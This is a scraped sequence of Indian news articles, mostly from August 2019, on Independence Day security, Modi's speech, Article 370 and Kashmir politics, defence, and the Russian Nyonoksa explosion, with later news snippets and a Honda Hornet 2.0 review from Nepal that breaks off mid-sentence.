Tactics (SWAT) units and specially-equipped 'Parakram' vans are being stationed at crucial junctions. Police personnel are regularly conducting anti-sabotage drills and making enquiries at hotels for possible suspects lodging there. Police have prohibited aerial activities, including paragliding, hot-air balloons and quadcopters, until August 15 around the Red Fort. Any person violating the order will be liable for criminal prosecution, officials said. The Delhi Metro has not announced any change in its services on August 15, but there will be restrictions on entry and exit at some stations on the Violet Line. Parking areas, however, have been closed until 2 pm. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: Prime Minister Narendra Modi on Thursday expressed concern over population explosion and talked about the importance of small families for providing the best possible future so that the next generation can be given the. He stressed that the central and state governments should launch measures to deal with the issue. In his Independence Day speech, the prime minister said the issue of ever-rising population is a matter of concern and said that a small section of society, which keeps their families small, deserves respect. What they are doing is an act of patriotism, he said. Population explosion in India is a big problem for us and our future. An enlightened section in our society thinks hard before bringing a child into the world, if they can fulfill child's dreams. This small section limits his family, shows patriotism, said PM Modi. This is the first time the prime minister has raised the issue, even though a section of the BJP has been vocal about the matter. If the population is educated and healthy, the country too will be educated and healthy, he added. He also talked about abolition of Triple Talaq and said that the decision was taken to give equal right to Muslim sisters and for political gains. Remember how scared Muslim women were, those who suffered due to the practice of Triple Talaq, but we ended that. When Islamic nations can ban it then why can't we? When we can ban Sati, when we can take strong steps against female infanticide, child marriage, then why not this, PM Modi said. The prime minister also condoled the death of people in recent floods and assured affected people of all help. "The country is reeling under floods and heavy rains in some parts, I express my empathy," said PM Modi. "Today when the country wakes up to yet another independence day, there are many affected due to floods. Bodies such as NDRF are fighting to resolve such issues. I want to reach out to everybody," he added. He also talked about various welfare schemes that his government has launched for the welfare of the common man. "In the last five years, we tried to improve the ease of living. We will work harder in the next five years, he said. This is PM Modi's sixth Independence Day speech and the first after returning to power with a massive mandate, from the ramparts of the Red Fort. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: A day after Jammu and Kashmir Governor Satya Pal Malik slammed Congress leader Rahul Gandhi for putting "pre-conditions" for a visit to the state, the former on Wednesday said that he accepts the invitation to visit and meet people without any conditions. Dear Maalik (sic) ji, I saw your feeble reply to my tweetI accept your invitation to visit Jammu & Kashmir and meet the people, with no conditions attached When can I come? Gandhi tweeted. Interestingly, the former Congress president spelt the Governors name as Maalik - instead of Malik in his twitter post. The meaning of the Hindi word Maalik is master. Dear Maalik ji, I saw your feeble reply to my tweet. I accept your invitation to visit Jammu & Kashmir and meet the people, with no conditions attached. When can I come? Rahul Gandhi (@RahulGandhi) August 14, 2019 Earlier on Tuesday, Malik had lashed out at Gandhi for putting pre-conditions for a visit to the Valley and alleged he was trying to create unrest by seeking to bring a delegation of opposition leaders. Following remarks by Gandhi that there have been reports of violence in Kashmir, Malik had said on Monday he will send him an aircraft to visit the Valley and observe the ground situation. Gandhi has put forth many conditions for the visit, including meeting mainstream leaders under detention, the governor said in a statement. Hitting back at the governor for "taking a U-turn" on his offer to visit the state, the Congress said he should stand by his word. The Governor is taking a U-turn. He made an offer that anyone can visit the valley to judge for themselves. Shri @RahulGandhi has taken him up on the offer. He should stand by his word & allow a multi-party delegation to visit Jammu and Kashmir unhindered, the Congress said on its official Twitter handle. Malik said he had never invited the Congress leader with so many pre-conditions and has referred the matter to the local police and administration for further examination. Rahul Gandhi is politicising the matter by seeking to bring a delegation of opposition leaders to create further unrest and problems for the common people, he said in the statement. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: Addressing the nation on the 73rd Independence Day from the rampart of historic Red Fort, Prime Minister Narendra Modi on Thursday said India is strongly fighting against those who are spreading terrorism. "India is strongly fighting against those who are spreading terrorism. Terrorism in any part of the world is a war against humanity and hence all humanitarian forces should come together to expose the real face of those who harbour, promote or export terrorism. Those who give protection and support terrorism must be completely exposed," the prime minister said in his speech. This was PM Modi's sixth Independence Day speech and the first after returning to power with a massive mandate. The prime minister emphasised that his government's policy for eradicating terrorism was firm and clear. PM Modi said India stands strongly against terrorism, and is presenting before the world the "true colours" of those who shelter and finance terrorism. "Different parts of the world are struggling with conflicts and security crisis. For world peace, India has to play its role. In global aspects, India cannot stay a silent witness to it. We all must come together to identify those who support or breed terrorism. We are committed to fighting against terrorism," he said. "We will expose before the world all exporters of terror. We, together with other countries of the world, will fight those sheltering terrorism, financing and exporting terrorism. We are presenting their true colours in front of the world," he added. He said neighbouring countries - Bangladesh, Afghanistan and Sri Lanka - have been victims of the terror attacks. "So when India is fighting against terrorism, we are playing our role on the world stage," he said. He greeted Afghanistan that is going to celebrate its 100 years of Independence after four days. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: The Congress on Tuesday accused the Modi government of being anti-Dalit and demanded that the Guru Ravidas temple in Delhis Tughlaqabad area be rebuilt. Congress chief spokesperson Randeep Surjewala said central agencies had demolished the ancient temple and termed it a heinous crime. Congress senior spokesperson Anand Sharma demanded that the temple be rebuilt and action be taken against those responsible for the demolition of the temple. He described the incident as unfortunate. Surjewala said the government could have found a way out if it wanted and could have filed a review petition in court. But, it seems that insulting the Ravidas society and Dalit society, and degrading them has become the norm for the BJP. This entire process is shameful and embarrassing, Surjewala said. The ancient Ravidas temple, demolished by the government, should be rebuilt and orders taken from court be taken, he said in a statement. A senior police officer had said on Monday the demolition was carried out by the authorities concerned on Saturday, with the presence of the police. The Delhi Development Authority (DDA) had said that did not use the word temple, and said the structure was removed as per the orders of the Supreme Court. The standing permanent structure was dismantled peacefully without any resistance or use of force in the presence of Guru Ravi Das Jayanti Samaroh Samiti members, the DDA had said. The demolition of the temple in a forest area in Tughlakabad led to a big controversy, with the AAP seeking Prime Minister Narendra Modis intervention in ensuring that the land be given back to the community to rebuild the place of worship. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: Indian Air Force (IAF) is all set to receive the first batch of four Rafale fighter aircraft as part of a controversial deal with France next month, according to a report by The Financial Express. Manufactured by Dassault Aviation, the aircraft will come equipped with Meteor missile, SCALP ground attack missiles with a range of up to 300 Kms. But the Indian Air Force (IAF) still requires several more fighter jets to meet the demands. According to The Economic Times, state-owned Hindustan Aeronautics Ltd (HAL) has proposed for an order to manufacture additional 72 more Sukhoi-30 MKI fighter jets to add to the current order for 272, but officials said that the air force has not been keen due to budgetary issues. The report added that squadrons of the Su-30 MKI jets were proposed to meet gaps in fighter squadron the air force seems to be only keen on ordering replacements for aircraft that have been lost in accidents. The ET report added that the HAL is hopeful that an order for at least 10 additional aircraft is placed this year so that its Sukhoi manufacturing plant in Nasik does not fall idle. We are currently making 12 of the fighters per year at the Nasik plant, ET quoted HAL chairman R Madhavan as saying. India has signed an agreement to purchase two squadrons (36) of the twin-engine multi-role aircraft Rafale, capable of delivering nuclear warheads, and decided to base one each on its western and eastern fronts with Pakistan and China.Strategic deterrence is a strategy under which a country uses the threat of reprisal effectively to preclude an attack from an adversary. Last year, Air Chief Marshal BS Dhanoa had termed the introduction of the Rafale and the Russian S-400 missile defence system as game-changer.The IAF used the Mirage-2000 to struck a terror camp in Balakot in Pakistan in February this year. The upgrade would keep the aircraft operationally relevant for future combat operations. However, it was said that If India had Rafale at the time, the outcomes could have been more favourable for the country. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: A massive fire broke out at a company based in Kurkumbh MIDC area near the Pune-Solapur highway on Wednesday night. Fire tenders have arrived at the scene and efforts are being made to douse the fire. It is yet to be identified the reason behind the fire. There has been no reports of any casualities or damage in the incident till the last update of the report. Maharashtra: Fire breaks out at a company based in Kurkumbh MIDC area near Pune-Solapur highway. Further details awaited. pic.twitter.com/P7kW0uv3nS ANI (@ANI) August 14, 2019 This is a breaking news story. More details will be added soon. Please refresh the page for the updated version. New Delhi: Hyundai Kona Electric was launched in India on July 10, 2019. With the launch, Hyundai India marked its debut in the Indian electric vehicle space. During the launch, Hyundai has said that it planned to sell 500 units of the EV on an annual basis. Recently, the automaker revealed that it has received 152 confirmed bookings for Kona Electric. According to a report ofcardekho.com, only 17 units were dispatched to dealerships and delivered to the customers last month. The authorized Hyundai dealerships have also confirmed a waiting period of around three to four months. At the start of this month, Hyundai Konas price was brought down from Rs 25.30 lakh to Rs 23.71 lakh (ex-showroom, India). The reduction came after the Modi government slashed the GST rate on electric vehicles from 12 per cent to 5 per cent. The government even reduced the GST rates on EV chargers from 18 per cent to 5 per cent. It is to be noted that Hyundai Kona is India's first fully electric SUV. So far, the EV choices were limited only to Mahindra e20 Plus, Mahindra eVerito and Tata Tigor EV. Not only powerful, but Hyundai Kona is efficient too. It looks sporty and is loaded with bunch of features. Here are the specifications details you need to know about it: On the designing front, the Hyundai Kona comes equipped with an impressive design with closed-off front grille having intaglio pattern with an integrated charging port and twin headlight design. It further comes with an LED headlamps, LED DRLs, LED rear lamps and 17-inch alloy wheels. Other features it include roof rails and rear spoiler. It gets monotone colour options such as Marina Blue, Phantom Black, Polar White and Typhoon Silver. There is Polar White with Phantom Black roof dual-tone option as well and it comes at a premium of Rs 20,000. On the interior, the Hyundai Kona gets a premium cabin with leather seats, leather-wrapped steering wheel and soft-touch dashboard. Also, there is a multi-function steering wheel with audio and Bluetooth controls. It further has a touchscreen infotainment which is compatible with Android Auto and Apple CarPlay. Features like electric sunroof, front ventilated and heated seats, 10-way power driver seat with lumbar support, electric parking brake with auto hold and fully automatic temperature control (FATC) adds to the luxury quotient of Hyundai Kona. Hyundai Kona comes in two battery options i.e. 39.2 kWh and 64.0 kWh. The power and torque output in standard trim is 136 hp and 395 Nm respectively. The electric SUV has a top speed of 155 kmph, while an ARAI-certified range of Kona is 452 kms per full charge. Powering the motor is a 39.2 kWh lithium-ion polymer battery with liquid-cooling technology. The SUV gets Eco+, Eco, Comfort and Sport driving modes and is capable of making 0-100 kmph in just 9.7 seconds. Hyundai Kona has a 3-year/unlimited kms warranty along with 3 years of roadside assistance. There is an 8-year/1.60 lakh kms warranty on the battery. Besides, Hyundai is offering 24x7 emergency roadside assistance and service vehicle to vehicle charging support. Hyundai Kona can be charged up to 80 per cent in 57 minutes through the DC Quick Charger CCS Type 2 (50 kW). The carmaker will also provide two chargers with Kona i.e. a 7.2 kW AC Wall Box Charger and a 2.8 kW Portable Charger. The 7.2 kW AC Wall Box Charger will take around 6 hours and 10 minutes for a full charge, while the 2.8 kW Portable Charger will take 19 hours to completely charge the battery. It is worth mentioning here that Hyundai Motor India is also working on setting up a charging infrastructure and has partnered with Indian Oil Corporation to install a fast charging facility in select cities including Mumbai, Chennai, Bengaluru and Delhi. The company will also invest in the equipment and installation of the fast chargers that can charge up to 80 per cent in an hour. Moscow: Thousands of Russians attended the funerals of five Russian nuclear engineers killed by an explosion as they tested a new rocket engine, a tragedy that fuelled radiation fears and raised new questions about a secretive weapons programme. The engineers, who died on Thursday, were laid to rest on Monday in Sarov, which hosts Russias main nuclear weapons research centre, where they worked. Flags flew at half-staff in the city, located 370 km east of Moscow, which has served as a base for Russias nuclear weapons programme since the late 1940s. The coffins were displayed at Sarovs main square before being driven to a cemetery. The Defense Ministry initially reported that the explosion at the navys testing range near the village of Nyonoksa in the northwestern Arkhangelsk region killed two people and injured six others. The state-controlled Rosatom nuclear corporation then said over the weekend that the blast also killed five of its workers and injured three others. Its not clear what the final toll is. The company said the victims were on a sea platform testing a rocket engine and were thrown into the sea by explosion. Rosatom director Alexei Likhachev praised the victims as true heroes and pride of our country. Our further work on new weapons that we will certainly complete will be the best tribute to them, Likhachev said during the funeral, according to Rosatom. We will fulfil the motherlands orders and fully protect its security. Rosatom said the explosion occurred while the engineers were testing a nuclear isotope power source for a rocket engine. Local authorities in nearby Severodvinsk, a city of 1,83,000, reported a brief spike in radiation levels after the explosion, but said it didnt pose any health hazards. Still, the statement from Severodvinsks administration came just as the Defense Ministry insisted that no radiation had been released, a claim that drew comparisons to Soviet-era attempts to cover up catastrophes. Spooked residents rushed to buy iodide, which can help limit the damage from exposure to radiation. Following the explosion, Russian authorities also closed part of Dvina Bay on the White Sea to shipping for a month, in what could be an attempt to prevent outsiders from seeing an operation to recover the missile debris. The Severodvinsk city administration said the radiation level rose to 2 microsieverts per hour for about 30 minutes on Thursday before returning to the areas natural level of 0.1 microsieverts per hour. Emergency officials issued a warning to all workers to stay indoors and close the windows. The radiation level of 2 microsieverts per hour is only slightly higher than the natural background radiation, which could vary between 0.1 and 0.4 microsieverts per hour. Its lower than the cosmic radiation that plane passengers are exposed to on longer haul flights. Regional authorities havent reported any radiation increases after Thursdays spike. Russian environmental groups have urged the government to release details of the radioactive leak, but officials offered no further details. Neither the Defense Ministry nor Rosatom mentioned the type of rocket that exploded during the test, saying only that it had liquid propellant. But Rosatoms mention of a nuclear isotope power source led some Russian media to conclude it was the Burevestnik (Petrel), a nuclear-powered cruise missile first revealed by Russian President Vladimir Putin in March 2018 during his state of the nation address along with other doomsday weapons. US President Donald Trump weighed in Monday on the blast, tweeting, The United States is learning much from the failed missile explosion in Russia. We have similar, though more advanced, technology. The Russian Skyfall explosion has people worried about the air around the facility, and far beyond. Not good! The US and the Soviet Union pondered nuclear-powered missiles in the 1960s, but they abandoned those projects as too unstable and dangerous. While presenting the new missile, Putin claimed it will have an unlimited range, allowing it to circle the globe unnoticed, bypassing the enemys missile defense assets to strike undetected. The president claimed the missile had successfully undergone the first tests, but observers were skeptical, arguing that such a weapon could be very difficult to handle and harmful to the environment. Some reports suggested that previous tests of the Burevestnik missile had been conducted on the barren Arctic archipelago of Novaya Zemlya and the Kapustin Yar testing range in southern Russia before they were moved to Nyonoksa. Moving the tests from unpopulated areas to a range close to a big city may be a reflection of the militarys increased confidence in the new weapon. The Sarov nuclear center director, Valentin Kostyukov, said that the victims tried but failed to prevent the explosion. We saw that they were trying to regain control over the situation, he said. Sergei Kirienko, Putins deputy chief of staff who previously led Rosatom, said at the funeral that the victims were aware of the danger, but took the risk, realizing that no one else would do the job better than them. He said they would be posthumously awarded with top medals. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. New Delhi: Tiranga, the tricolour or the Indias national flag as one might call it is a symbol of liberation and independence. Swooshing high and mighty as the nations pride breaking free from the British colonial rule for more than a century, the national flag demands for salutation and importance. On Indias 73rd Independence Day we remember Pingali Venkayya, the Indian freedom fighter from 2 August 1876 4 July 1963 who gave us this symbolic importance. Born in Bhatlapenumarru, near Machilipatnam, in what is now the Indian state of Andhra Pradesh, Pingali joined the British Army at the mere age of 19 from where on he met the Father of the Nation, Mahatma Gandhi, which will last for more than 50 years. A man beyond his time, Pingali was a man with vision and was also a linguist, geolist and a writer. The Hindu also reports that Venkayya was a man with authority in geology, agriculture and also an educationist who set up an educational institution in Machilipatnam. In fact, in 1913, he delivered a full-length speech in Japanese earning him titles like 'Japan Venkayya', 'Patti (cotton) Venkayya' and 'Jhanda Venkayya'. An ardent freedom fighter that saw the importance of giving liberation a symbol, in 1916 offering he published a book feathering thirty designs of what could make up for the Indian flag. In 1921 after relentlessly putting forward the idea, Venkayya's design for the National Flag was finally approved by Mahatama Gandhi in a Congress meeting in Vijayawada in 1921. "Pingali Venkaiah who is working in Andhra National College Machilipatnam, has published a book, describing the flags of the countries and has designed many models for our own National Flag. I appreciate his hard struggle during the sessions of Indian National Congress for the approval of Indian National Flag," Mahatama Gandhi had written in Young India. He, however, died in poverty in 1963 and was largely forgotten by the society. A postage stamp was issued to commemorate him in 2009 and in 2011 it was proposed that he be posthumously awarded the Bharat Ratna. But, lest we forget, behind every pride we see was a man who brought to life the horizontal tricolour in equal proportion of deep saffron at the top, white in the middle and green at the bottom- Pingali Venkayya. For all the Latest Lifestyle News, Others News, Download News Nation Android and iOS Mobile Apps. New Delhi: 20 years ago just a month after the Kargil war, the Indian Air Force (IAF) shot down a maritime patrol aircraft of the Pakistani Navy over Naliya in Gujarat. Yes, you read it right. Indian fighter jets shot down Pakistans Flight Atlantic-91, a French-built Breguet Atlantic plane, on August 10, 1999 after it entered Indian airspace. All 16 Pakistani personnel, including five officers, on board, were killed in the crash. While talking to the Hindustan Times, Group Captain Sanjeev Naraynen (retd.) recalled the downing of the French-built Breguet Br.1150 Atlantique. He said, We never expected that he would go down. It is worth mentioning here that this was the biggest loss the Pakistani navy suffered in a single day since the 1971 Bangladesh liberation war. We didnt expect so many to be on the aircraft. It was unfortunate. I learned about them when the media reported about their funeral, Naraynen told Hindustan Times. On the other hand, Group Captain Vijay Suman Sharma, the fighter-controller that day and commander of the 254 SU Control and Reporting Centre recalled that the IAF airbase at Naliya was preparing for a visit the next day by Air Chief Marshal AY Typnis when two MiG-21 aircraft were suddenly scrambled. I knew something was wrong. The Pakistan aircraft was picked up at 10.52 am, the controller vectoring the fighters had just three months of experience. I took over the controls, he said adding that the fighters were airborne and heading towards the Pakistan aircraft by 11.01. Vijay Suman Sharma further said, The first aircraft was flown by Wing Commander PK Bundella and the second by Flight Lieutenant Sanjeev Naraynen. Their call signs were Bandy and Nanu. The sky was overcast, making it difficult for the fighters to spot the intruding aircraft. Radar signatures, however, showed the aircraft was on a southerly heading, crossing Lakpath and Koteswar in the Rann of Kutch back into Indian Territory. The two fighters climbed to 2,500 metres to avoid the cloud cover and at about 2,100 metres they spotted the Pakistan aircraft at 11.16. The Pakistan Aircraft was about 10 km inside our territory. Bandy and Nanu closed in and read the tail number of Atlantique, Hindustan Times quoted Vijay Suman Sharma as saying. It was carrying offensive weapons inside our territory. I gave them permission to engage. Wing Commander Budella would seek radio confirmation to engage at 11.17. Affirmative. You are cleared to fire, Group Captain Sharma recalled saying. At 11.18. Bandy was back on the radio, missile gone, left engine (of the Pakistan jet) on fire, breaking off. I dont know whether the Atlantique intended to come into India. Pakistans radar controllers should have warned the aircraft, Naraynen concluded. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi : The Supreme Court on Friday expressed anguish over "defective" petitions on the issue of scrapping of provisions of Article 370 of the Constitution. A bench headed by Chief Justice Ranjan Gogoi said the petition by advocate ML Sharma has "no meaning". The CJI said he spent 30 minutes reading the petition but could not make out anything and also could not understand what was the prayer. "What kind of petition is this? It could have been dismissed but there are 5 other pleas with the registry which are under defect," the bench also comprising Justices SA Bobde and S A Najeer said. "You are not praying for setting aside the Presidential order. What is the prayer it is not clear. It can be dismissed on technical grounds. "In a matter of this nature if this is the petition, there is no meaning," the bench said. The court was hearing the petition by Sharma, who had filed it on August 6, a day after the Centre had abrogated Jammu and Kashmir's special status. READ | J-K administration asks schools, government offices in Kashmir to reopen from Monday: Reports The top court asked lawyers to cure defects in their six petitions on Article 370 and adjourned the hearing. The bench also noted that it was hearing the petition on Article 370 by breaking the combination of judges which was hearing the sensitive Ayodhya matter. During the hearing, advocate Shakil Sabeer said he was the resident of J-K and had filed the petition against the scrapping of Article 370 which has led to the creation of union territories of J-K and Ladakh. He said he had cured the defects but the petition was not listed. The bench enquired from its apex court registry and found that the defects were cured on Wednesday evening. The bench said the defects were cured on Wednesday evening and Thursday was a holiday. Then how did he expect the listing of his petition today? READ | Situation improving in J-K, curbs being lifted gradually: Centre tells Supreme Court "Why did you file a defective petition in the matter of this importance," an anguished bench asked the lawyer. "You file a defective petition and trouble my officers," the CJI said. The bench asked the lawyer if he knows how many petitions on J-K issue are in the apex court and are under defects? The bench told him that six petitions have been filed on the issue. "In the matter of this seriousness people are filing defective petitions," the bench said. The National Conference, the main political party of Jammu and Kashmir, has also filed a petition posing legal challenges in the top court to the changes made in the constitutional status of J-K, contending that these have taken away rights of its citizens without their mandate. READ | Pakistan bans advertisements featuring Indian artists Arguing that the legislation approved by Parliament and orders issued by the President subsequently were "unconstitutional", the petition prayed for these to be declared as "void and inoperative". The petition has been filed by Mohammad AKbar Lone and Justice (rtd) Hasnain Masoodi, both Lok Sabha members belonging to the NC. Lone is a former speaker of the Jammu and Kashmir Assembly and Masoodi a retired judge of the Jammu and Kashmir High Court, who ruled in 2015 that Article 370 was a permanent feature of the Constitution. Some other individuals have also filed a petition in the Supreme Court but they were not listed for hearing on Friday. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: Home Minister Amit Shah will visit Ladakhs Leh on August 17, according to the sources. This will be Shah's first visit after government abrogated Article 370 and declared Jammu, Kashmir and Ladakh as separate Union Territories. Earlier, Northern Army Commander Lieutenant General Ranbir Singh visited the forward locations in Ladakh sector on Friday and reviewed operational preparedness there, officials said. He was briefed by Lieutenant General Y K Joshi, the General Officer Commanding Fire and Fury Corps, on the operational preparedness being maintained in the sector to deal with any threat to national security. Lieutenant General Singh also met and interacted with troops deployed on the forward posts and complimented them for their dedication and tenacity in these challenging conditions, officials said. Appreciating the high standard of operational preparedness, Lieutenant General Singh said that he has no doubt that any misadventure by the enemy will get a befitting response. He urged the troops to uphold the highest standards of professionalism of the Indian Army and live up to the motto of 'Nation First'. Earlier this week, the Centre revoked special status to Jammu and Kashmir accorded under Article 370 of the Constitution and bifurcated the state into two Union Territories -- Jammu and Kashmir, and Ladakh. Following the move, Pakistan on Wednesday expelled Indian High Commissioner Ajay Bisaria as part of its decision to downgrade the diplomatic ties with India over what it called New Delhi's "unilateral and illegal" move on Jammu and Kashmir. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi : Amid concerning temperature data from Greenland, there are reports that a group of NASA scientists are crisscrossing the massive island on a mission to track its melting ice. Greenland has been melting faster in the last decade and this summer, it has seen two of the biggest melts on record since 2012. In early June, a study led by a group of US researchers found that Greenland, which has been witnessing a rapid rise in temperature, might be ice-free by the end of this century. The island could lose 4.5 per cent of its ice, contributing up to 13 inches of sea level rise, as the sudden change in weather led to early arrival of annual ice melt. The research has been conducted on the basis of new data on the landscape under the ice today in a bid to make breakthroughs in modelling the future. Scientists also used data from a NASA airborne science campaign called 'Operation Ice Bridge'. Steffen Olsen, of the Danish Meteorological Institute (DMI), also captured an image that depicts the awful reality of melting ice in Greenland. Olsen described it as "rapid melt". READ | NASA Discovery: New found Mars rock indicates existence of water on Red Planet READ | NASA just discovered farthest known black hole hidden behind gas, all thanks to its Chandra X-ray Observatory Greenland's ice sheet is huge, spanning over 660,000 square miles. Today, the ice sheet covers 81 per cent of Greenland and contains eight of Earth's fresh water bodies. On average, Greenland's ice sheet is 1.6 miles thick, but there is a lot of variation depending on where you measure. Between 1991 and 2015, Greenland's ice sheet has added about 0.02 inches per year to sea level, but that could rapidly increase. The communities in Greenland relied heavily on the sea ice to survive for transport, hunting and fishing. Meanwhile, satellite images also reveal that Greenland is not the only area seeing unheard-of melting. The Himalayas are now melting twice as fast as they used to. The Asian mountain range, which includes Mount Everest, has been losing ice at a rate of about one per cent a year since 2000, according to a study in the journal Science Advances. READ | WATCH VIDEO: Stunning meteor smashing into planet king Jupiter will leave you amazed! READ | Will America sink due to impact of asteroid named Apophis 99942? Find out here While Global warming is considered to be the chief culprit, scientists want to know how this is happening. Both warmer air and warmer water are eating away at Greenland, causing it to lose billions of tons of ice daily in the summer. A team of scientists and engineers aboard a research plane this week are dropping probes into the ice to help figure out which is the bigger cause. If water is playing a bigger role than scientists had thought, that could mean seas will be rising faster than expected. For all the Latest Science News, Download News Nation Android and iOS Mobile Apps. Nagpur: RSS chief Mohan Bhagwat on Thursday said Jammu and Kashmir's special status under Article 370 could be revoked because the entire society showed determination. Greeting people during the Independence Day celebrations at the Rashtriya Swayamsevak Sangh (RSS) headquarters here in Maharashtra, he said it is the day to remember the sacrifices made for the country's freedom. "Article 370 could be removed because the entire society made a resolution, so on this day we renew that resolve again," Bhagwat told reporters. "Today is the day to remember the sacrifices made for the independence and to resolve for it again," he said. Earlier, RSS general secretary Bhaiyyaji Joshi hoisted the national flag at the Sangh headquarters located in Mahal area here on the occasion of the Independence Day. "The country is moving forward to realise the dream of the nation's great men. The hopes of common people will be fulfilled and India will scale new heights in the world," Joshi told reporters. Later, Bhagwat unfurled the tricolour at Dr Hedgewar Smruti Mandir premises in Reshimbagh area here. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: PM Narendra Modi is likely to visit Kuwait soon. More importantly, this will be the first visit of a Prime Minister of the country to Kuwait in the last 40 years. PM Modi's plan to visit Kuwait is said to be a strategic part of strengthening ties with West Asian countries and taking the strategic partnership to new heights. Kuwait is a rich country in the oil sector and is also an important source of oil supply in India. Pm Modi is said to be inviting Kuwaiti investors to visit India during the visit and will also try to enhance defence cooperation from Kuwait. Media reports said PM Modi is likely to visit Kuwait in the first week of January. Earlier in 2015, the PM had visited all the other 5 Gulf countries. However, the PM could not go to Kuwait at that time. Tell me, about 1 million Indians are in Kuwait. During the visit, efforts will be made to strengthen bilateral relations between the two countries. India has a strong relationship with Kuwait. Kuwait helped India by sending a large number of oxygen cylinders and other health equipment while India was reeling under the second wave of the corona. Moreover, External Affairs Minister S Jaishankar himself had arrived in Kuwait with a letter written by PM Modi to Kuwaiti Emir Sheikh Navaf al-Ahmed to thank Kuwait for its support. Cabinet approves execution of PMKSY for 2021-26, to help 22 La. farmers 'Ajay Mishra must go to jail...', Rahul Gandhi lashes out at Centre over Lakhimpur violence Justice4SSR: Candle march at Delhis Jantar Mantar to get justice for Sushant Singh Rajput Dhaka: Indian President Ram Nath Kovind arrived in Dhaka for a three-day state visit to mark the 50th anniversary of Bangladesh's victory in the Liberation War and the end of Mujib year. At 11:10 a.m., President Ram Nath Kovind landed at Hazrat Shahjalal International Airport aboard Air India aircraft AI1. Md Abdul Hamid, his Bangladeshi counterpart, greeted him warmly. Kovind is accompanied by his wife and daughter, as well as the Indian Education Minister, two Members of Parliament, and the Foreign Affairs Secretary. According to Foreign Minister AK Abdul Momen, this is President Kovind's first visit to Bangladesh. Momen said he will then pay respects to Sheikh Mujibur Rahman at the Bangabandhu Memorial Museum. "The President and Prime Minister of a country touring a neighbouring country in the same year is unique in history," the Foreign Minister added, referring to Kovind's visit and that of India's Prime Minister Narendra Modi earlier this year. The excursions are a representation of the two countries' established friendship." The President's visit on this historic occasion, according to the Indian Ministry of External Affairs, reflects the tremendous significance that both countries have on their bilateral relationship. "It also underscores both countries' shared determination to further deepen and strengthen their comprehensive and irreversible alliance, which is founded on historical and cultural links, mutual trust, and understanding," according to the Ministry. Today Nadda will be in Ayodhya, the city of Shri Ram, CMs of many BJP ruled states will be present together. Election Commission Team to Visit Punjab on Wednesday to Assess Poll Preparedness PM Modi spoke to Chief Ministers of BJP ruled states: 'Adopt Kashi model for development' Home Just In Honda Hornet 2.0 in Nepal: Why the powerful bike might lose its grip on the market Honda Hornet 2.0 is a new addition to the fleet of Honda two-wheelers in Nepal. Honda previously had a 160cc version of the same bike, and now, the 2.0 version comes with better specifications and more power. Honda Hornet 160R faired quite well in the Nepalese market back when it was launched. It was popular mostly because of its muscular body. Hence, apparently, the new version should have been better. But, the price has almost doubled even though the new features are scarce. Hence, the market performance of the new model remains uncertain for now. Lets review Honda Hornet 2.0 today. Specifications Dimension Length: 2,047mm Width: 783mm Height: 1,064mm Wheelbase: 1,355mm Seat Height: 790mm Ground clearance: 167mm Engine type Single-cylinder, SI, 4-stroke, FI Starting Self-start only Displacement 184.4cc Max power 17.26 PS/8500rpm Max torque 16.1 Nm/6000rpm Cooling system Air-cooled Fuel system FI Fuel tank capacity 12L Gearbox 5-speed Max speed 130kmph (estimated) Brakes Front: Disc single-channel ABS Rear: Disc Tyres Front: 110/70-17 tubeless Rear: 140/70 17 tubeless Frame type Diamond type Suspension Front: USD fork Rear: Monoshock Kerb weight 142kg Colour options Matte axis grey metallic, matte marvel blue metallic, matte sangria red metallic, and pearl igneous black Design Honda Hornet 2.0. Photo: Honda Honda Hornet 2.0 boasts a new street-fighter stance along with an aggressive muscular design and dual-tone graphics. It gets a redesigned forward-leaning fuel tank. Along with the new fuel tank design, the bike also has got all-around LED lights. There is also a fully digital liquid crystal metre on the bike. The seating also has been made sportier as the bike has a split seat now. Additionally, the bike also packs an engine kill switch, a hazard switch and a key on the tank. Honda Hornet 2.0 also comes with two premium additional features: a golden upside down (USD) front forks and a stylish engine cowl. Likewise, it is available in four colour options: matte axis grey metallic, matte marvel blue metallic, matte sangria red metallic, and pearl igneous black. Performance Honda Hornet 2.0 features a next-gen BSVI compliant engine. It is powered by a 184.4cc single-cylinder, SI, four-stroke, FI engine. This engine can generate a maximum power up to 17.26 PS/ 8500 rpm whereas a maximum torque can go up to 16.1 Nm/ 6000 rpm, which is a boost in performance from its 160cc sibling. Furthermore, it is mated with a five-speed gearbox and with a 12-litre fuel tank capacity. It can reach a top speed of up to 130 kmph. The power figures of this bike fall short in comparison to other 200cc category bikes, yet it is better than the 150cc and 160cc category bikes including the older version of the self. Safety and other features Honda Hornet 2.0. Photo: Honda For safety features, Honda Hornet 2.0 features disc brakes at both ends with single-channel ABS at the front. It also has an improved suspension setting, making the bike more agile in different conditions. Highlighting other features of the bike, it has: 180cc BS6-compliant FI Engine New aggressive tank design New street-fighter-themed design New LED headlamps with X-shaped LED taillight LED indicators Sporty engine cowl New digital LCD metre with 5-level illumination control Sporty split-seat Refined HET engine Key on tank New engine stop switch New hazard light switch Golden USD front forks and monoshock suspension Dual disc braking Single-channel ABS Stress free riding posture The price of the Honda Hornet 2.0 is Rs 498,900. Verdict Honda is always known for its build and engine quality. It is probably the first two-wheeler company to start its operation in Nepal. Over the years, Honda has brought two-wheelers in almost every category. Yet, the new Honda Hornet 2.0 has nothing so exciting except for golden USD front forks. But, it lags behind in so many aspects from its competitors. Honda has just introduced the split seat and engine cowl features, which were introduced years ago in other bikes. Though Honda Hornet 2.0 presents an aggressive look, the new graphics are nothing to be excited about. The power figures also are not that great. But, the price of the bike has almost doubled than its predecessor while there are no significant changes to justify this rise. Honda seems to have ignored the bikes of this category from other brands. The prices have been increased astronomically without any major upgrades. With a similar price range, Apache RTFI 200 4V BSVI, Yamaha FZ 25, Suzuki Gixxer 250 offer a lot more in terms of specifications as well as in power. While these bikes are adding more and more smart features and sophisticated functions and even riding modes, Honda seems to just settle with 